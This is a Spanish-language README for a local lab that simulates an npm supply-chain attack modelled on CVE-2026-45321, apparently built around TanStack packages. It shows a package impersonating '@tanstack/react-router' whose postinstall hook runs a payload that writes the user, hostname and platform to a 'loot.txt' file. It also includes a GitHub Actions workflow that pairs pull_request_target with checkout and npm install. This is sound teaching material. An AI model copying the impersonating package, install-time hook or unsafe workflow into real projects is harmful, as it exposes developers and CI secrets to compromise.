Simulación de Ataque a la Cadena de Suministro — CVE-2026-45321 (TanStack)

Laboratorio educativo para entender ataques a la cadena de suministro de npm, abuso de CI/CD y ejecución de código en tiempo de instalación

Descargo de responsabilidad

Este proyecto se ha creado únicamente para:

• aprendizaje de ciberseguridad,
• investigación de seguridad defensiva,
• simulación de laboratorio local,
• comprender el concepto de ataque a la cadena de suministro.

No utilice este proyecto para:

• atacar sistemas reales,
• robar credenciales,
• despliegue de malware,
• acceso no autorizado,
• o cualquier otra actividad ilegal.

Descripción

Este laboratorio simula los conceptos básicos del incidente:

• CVE-2026-45321
• Compromiso de la cadena de suministro de TanStack npm
• Abuso de GitHub Actions CI/CD
• Ejecución de scripts de ciclo de vida de npm

La simulación se realiza de forma local y segura sin:

• robo real de credenciales,
• exfiltración de tokens,
• ni compromiso de servicios de terceros.

Estructura del laboratorio

lab/
├── fake-repo/          # Simulación de repositorio objetivo
├── attacker-package/   # Simulación de paquete malicioso
└── victim-project/     # Simulación de víctima

Cómo funciona la simulación

Attacker Package
        ↓
npm install
        ↓
el script postinstall se ejecuta
        ↓
payload.js se ejecuta automáticamente
        ↓
La víctima sufre una ejecución en tiempo de instalación

Conceptos aprendidos

• hooks del ciclo de vida de npm
• ejecución arbitraria de código en tiempo de instalación
• ataque a la cadena de suministro
• límite de confianza de CI/CD
• paquete npm malicioso
• abuso de postinstall
• compromiso de dependencias

Instalación

1. Clonar el repositorio

git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git

cd CVE-2026-45321-Tanstack

Configuración del paquete atacante

2. Entrar en la carpeta del paquete atacante

cd attacker-package

3. Instalar dependencias

npm install

4. Construir el paquete tarball

npm pack

Resultado:

tanstack-react-router-1.169.5.tgz

Simulación de la víctima

5. Entrar en el proyecto de la víctima

cd ../victim-project

6. Instalar el paquete malicioso

npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts

Salida

Si tiene éxito, aparecerá:

=== MALICIOUS PAYLOAD EXECUTED ===

y el archivo:

loot.txt

se creará automáticamente.

Ejemplo de payload.js

const os = require('os');
const fs = require('fs');

console.log("=== MALICIOUS PAYLOAD EXECUTED ===");

const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;

console.log(info);

fs.writeFileSync("loot.txt", info);

Ejemplo de package.json

{
  "name": "@tanstack/react-router",
  "version": "1.169.5",
  "scripts": {
    "postinstall": "node payload.js"
  }
}

Simulación de CI/CD

Este proyecto también se puede utilizar para comprender:

• GitHub Actions
• pull_request_target
• límite de privilegios de CI/CD
• ejecución de dependencias

Ejemplo de flujo de trabajo:

name: CI

on:
  pull_request_target:

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - run: npm install

Relación con CVE-2026-45321

Referencias

• https://nvd.nist.gov/vuln/detail/CVE-2026-45321
• https://tanstack.com/blog/npm-supply-chain-compromise-postmortem
• https://docs.npmjs.com/cli/v10/using-npm/scripts
• https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions

Solo con fines educativos

Este laboratorio se ha creado para aumentar la conciencia sobre:

• seguridad de la cadena de suministro,
• seguridad de dependencias,
• seguridad de CI/CD,
• e investigación de seguridad defensiva.